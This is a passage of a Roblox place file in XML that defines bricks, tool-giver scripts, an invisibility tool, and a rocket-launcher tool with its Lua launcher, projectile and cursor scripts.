						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1705.50012</X>
							<Y>15.0008802</Y>
							<Z>146.000122</Z>
							<R00>0.999999702</R00>
							<R01>2.31133472e-005</R01>
							<R02>1.04804976e-005</R02>
							<R10>-2.31131762e-005</R10>
							<R11>1</R11>
							<R12>-1.26419191e-005</R12>
							<R20>-1.04807905e-005</R20>
							<R21>1.26416526e-005</R21>
							<R22>0.999999702</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Humanoid" referent="RBX4372">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Health">0</float>
						<float name="MaxHealth">0</float>
						<string name="Name">DO NOT TOUCH</string>
						<float name="WalkSpeed">16</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4373">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Put this script into your tool</string>
						<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
					</Properties>
				</Item>
				<Item class="Model" referent="RBX4374">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4375">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Invisible tool giver</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Script" referent="RBX4376">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">READ ME FOR INSTRUCTIONS</string>
						<ProtectedString name="Source">--DONT PUT THIS IN ANYTHING IT&apos;S JUST INSTRUCTIONS.
--First Place the &quot;PUT THIS IN THE WEAPON&quot; script in your Weapon or Tool.
--Then place your Weapon or Tool in the &quot;PUT THE WEAPON IN THIS BRICK&quot; brick.

--IMPORTANT (OPTINAL)
--Before doing anything you should put the Weapon or Tool in the giver where you want it.</ProtectedString>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4377">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1</int>
						<CoordinateFrame name="CFrame">
							<X>-125.5</X>
							<Y>9.50756931</Y>
							<Z>141.501953</Z>
							<R00>0.999995053</R00>
							<R01>-4.31583321e-005</R01>
							<R02>-1.04847004e-005</R02>
							<R10>4.31595181e-005</R10>
							<R11>1</R11>
							<R12>0.000129476524</R12>
							<R20>1.04791261e-005</R20>
							<R21>-0.000129477019</R21>
							<R22>0.999995053</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">PUT THE WEAPON IN THIS BRICK</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="HopperBin" referent="RBX4378">
						<Properties>
							<bool name="Active">false</bool>
							<bool name="Archivable">true</bool>
							<token name="BinType">0</token>
							<string name="Name">Invisible tool</string>
							<Content name="TextureId"><null></null></Content>
						</Properties>
						<Item class="Script" referent="RBX4379">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Script</string>
								<ProtectedString name="Source">print(&quot;Invisibility hopper script loaded&quot;)

enabled = true
invisibilityTime = 10 -- Time the person will be invisible
reloadTime = 4 -- Additional time to reload

function setCursor(mouse)
	if enabled then
		mouse.Icon = &quot;rbxasset://textures\\ArrowCursor.png&quot;
	else
		mouse.Icon = &quot;rbxasset://textures\\ArrowFarCursor.png&quot;
	end
end

function onButton1Down(mouse)
	if enabled then
		enabled = false
		setCursor(mouse) -- Not ready anymore
		playerScript = script.Parent.Fade:clone() -- Copy the fading script
		playerScript.Parent = game.Players.LocalPlayer.Character -- Place it in the player
		scriptTimeOut = Instance.new(&quot;NumberValue&quot;) -- Give it a time before becoming visible again
		scriptTimeOut.Name = &quot;InvisibilityTime&quot;
		scriptTimeOut.Value = invisibilityTime
		scriptTimeOut.Parent = playerScript

		wait(reloadTime + invisibilityTime) -- Wait for a proper reload time
		enabled = true -- Ready again
	end
	setCursor(mouse) -- Set apropriate cursor
end

function onSelected(mouse) -- When the weapon is selected, make the script recognize clicks
	print(&quot;Invisibility selected&quot;)
	setCursor(mouse) -- Make the mouse indicate readiness
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end

script.Parent.Selected:connect(onSelected)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4380">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">PUT THIS IN THE WEAPON</string>
								<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4381">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-124.5</X>
							<Y>9.80000019</Y>
							<Z>141.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4382">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-123.5</X>
							<Y>9.80030537</Y>
							<Z>143.5</Z>
							<R00>-0.999993503</R00>
							<R01>-1.26420891e-005</R01>
							<R02>1.04804258e-005</R02>
							<R10>-1.26414088e-005</R10>
							<R11>1</R11>
							<R12>2.31137528e-005</R12>
							<R20>-1.04807359e-005</R20>
							<R21>2.31126178e-005</R21>
							<R22>-0.999993503</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4383">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-123.5</X>
							<Y>9.80039692</Y>
							<Z>139.5</Z>
							<R00>-0.999993503</R00>
							<R01>-1.26420891e-005</R01>
							<R02>1.04804258e-005</R02>
							<R10>-1.26414088e-005</R10>
							<R11>1</R11>
							<R12>2.31137528e-005</R12>
							<R20>-1.04807359e-005</R20>
							<R21>2.31126178e-005</R21>
							<R22>-0.999993503</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4384">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-123</X>
							<Y>13.4000006</Y>
							<Z>141.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4385">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
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								<R10>-0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1.20000005</Y>
								<Z>5</Z>
							</Vector3>
						</Properties>
						<Item class="Script" referent="RBX4396">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">PresentScript</string>
								<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent.Rocket:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Touched:connect(onTouch) 
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Tool" referent="RBX4397">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Enabled">true</bool>
								<CoordinateFrame name="Grip">
									<X>-1</X>
									<Y>-0.75</Y>
									<Z>0.25</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>-0</R12>
									<R20>-1</R20>
									<R21>0</R21>
									<R22>-0</R22>
								</CoordinateFrame>
								<string name="Name">Rocket</string>
								<Content name="TextureId"><null></null></Content>
							</Properties>
							<Item class="Sound" referent="RBX4398">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Looped">true</bool>
									<string name="Name">Swoosh</string>
									<float name="Pitch">1</float>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><url>rbxasset://sounds/Rocket whoosh 01.wav</url></Content>
									<float name="Volume">0.699999988</float>
								</Properties>
							</Item>
							<Item class="Sound" referent="RBX4399">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Looped">false</bool>
									<string name="Name">Explosion</string>
									<float name="Pitch">1</float>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><url>rbxasset://sounds/collide.wav</url></Content>
									<float name="Volume">1</float>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX4400">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Server Launcher</string>
									<ProtectedString name="Source">local Rocket = Instance.new(&quot;Part&quot;)
local Tool = script.Parent

Rocket.Locked = true
Rocket.BackSurface = 3
Rocket.BottomSurface = 3
Rocket.FrontSurface = 3
Rocket.LeftSurface = 3
Rocket.RightSurface = 3
Rocket.TopSurface = 3
Rocket.Size = Vector3.new(1,1,4)
Rocket.BrickColor = BrickColor.new(23)

Tool.RocketScript:clone().Parent = Rocket
Tool.Explosion:clone().Parent = Rocket
Tool.Swoosh:clone().Parent = Rocket


function fire(vTarget)

	local vCharacter = Tool.Parent;
	
	local vHandle = Tool:findFirstChild(&quot;Handle&quot;)
	if vHandle == nil then
		print(&quot;Handle not found&quot;)
		return 
	end

	local dir = vTarget - vHandle.Position

	dir = computeDirection(dir)

	local missile = Rocket:clone()

	local pos = vHandle.Position + (dir * 6)
	
	--missile.Position = pos
	missile.CFrame = CFrame.new(pos,  pos + dir)

	local creator_tag = Instance.new(&quot;ObjectValue&quot;)

	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	if vPlayer == nil then
		print(&quot;Player not found&quot;)
	else
		if (vPlayer.Neutral == false) then -- nice touch
			missile.BrickColor = vPlayer.TeamColor
		end
	end

	creator_tag.Value =vPlayer
	creator_tag.Name = &quot;creator&quot;
	creator_tag.Parent = missile
	
	missile.RocketScript.Disabled = false

	missile.Parent = game.Workspace
end

function computeDirection(vec)
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	local targetPos = humanoid.TargetPoint

	fire(targetPos)

	wait(2)

	Tool.Enabled = true
end


script.Parent.Activated:connect(onActivated)

</ProtectedString>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX4401">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">RocketScript</string>
									<ProtectedString name="Source">r = game:service(&quot;RunService&quot;)

shaft = script.Parent
position = shaft.Position

script.Parent.Explosion.PlayOnRemove = true -- play explosion sound when projectile removed from game

function fly()
	direction = shaft.CFrame.lookVector 
	position = position  + direction * 20
	error = position - shaft.Position
	shaft.Velocity = 7*error
end

function blow()
	swoosh:stop()
	explosion = Instance.new(&quot;Explosion&quot;)
	explosion.Position = shaft.Position


	-- find instigator tag
	local creator = script.Parent:findFirstChild(&quot;Monster&quot;)
	if creator ~= nil then
		explosion.Hit:connect(function(part, distance)  onPlayerBlownUp(part, distance, creator) end)
	end

	explosion.Parent = game.Workspace
	connection:disconnect()
	wait(.1)
	shaft:remove()
end

function onPlayerBlownUp(part, distance, creator)
	
	if part.Name == &quot;Head&quot; then
	
		local humanoid = part.Parent.Humanoid
		tagHumanoid(humanoid, creator)
	end
end

function tagHumanoid(humanoid, creator)
	-- tag does not need to expire iff all explosions lethal
	
	if creator ~= nil then
		local new_tag = creator:clone()
		new_tag.Parent = humanoid
		
	end
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild(&quot;creator&quot;)
		if tag ~= nil then
		
			tag.Parent = nil
		end
	end
end

t, s = r.Stepped:wait()

swoosh = script.Parent.Swoosh
swoosh:play()

d = t + 3.5 - s
connection = shaft.Touched:connect(blow)

while t &lt; d do
	fly()
	t = r.Stepped:wait()
end

-- at max range
script.Parent.Explosion.PlayOnRemove = false
swoosh:stop()
shaft:remove()
</ProtectedString>
								</Properties>
							</Item>
							<Item class="LocalScript" referent="RBX4402">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Local Gui</string>
									<ProtectedString name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = false
	mouse.Icon = &quot;http://www.roblox.com/asset/?version=1&amp;id=1279200&quot;

	wait(5)
	mouse.Icon = &quot;http://www.roblox.com/asset/?version=1&amp;id=1279200&quot;
	enabled = true

end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;http://www.roblox.com/asset/?version=1&amp;id=1279200&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end


Tool.Equipped:connect(onEquippedLocal)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="Part" referent="RBX4403">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">26</int>
									<CoordinateFrame name="CFrame">
										<X>-134.500061</X>
										<Y>9.3883667</Y>
										<Z>136.400024</Z>
										<R00>-2.7293936e-009</R00>
										<R01>3.47002982e-012</R01>
										<R02>-0.999999404</R02>
										<R10>-0.999999881</R10>
										<R11>1.07285086e-006</R11>
										<R12>2.78487278e-009</R12>
										<R20>1.07291453e-006</R20>
										<R21>0.999999285</R21>
										<R22>1.22030164e-012</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Handle</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>3</X>
										<Y>0.800000012</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
								<Item class="Sound" referent="RBX4404">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Looped">false</bool>
										<string name="Name">Fire</string>
										<float name="Pitch">1</float>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">1</float>
									</Properties>
								</Item>
								<Item class="SpecialMesh" referent="RBX4405">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><url>rbxasset://fonts/rocketlauncher.mesh</url></Content>
										<token name="MeshType">5</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>0.75</X>
											<Y>0.75</Y>
											<Z>0.75</Z>
										</Vector3>
										<Content name="TextureId"><url>rbxasset://textures/rocketlaunchertex.png</url></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
						</Item>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4406">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
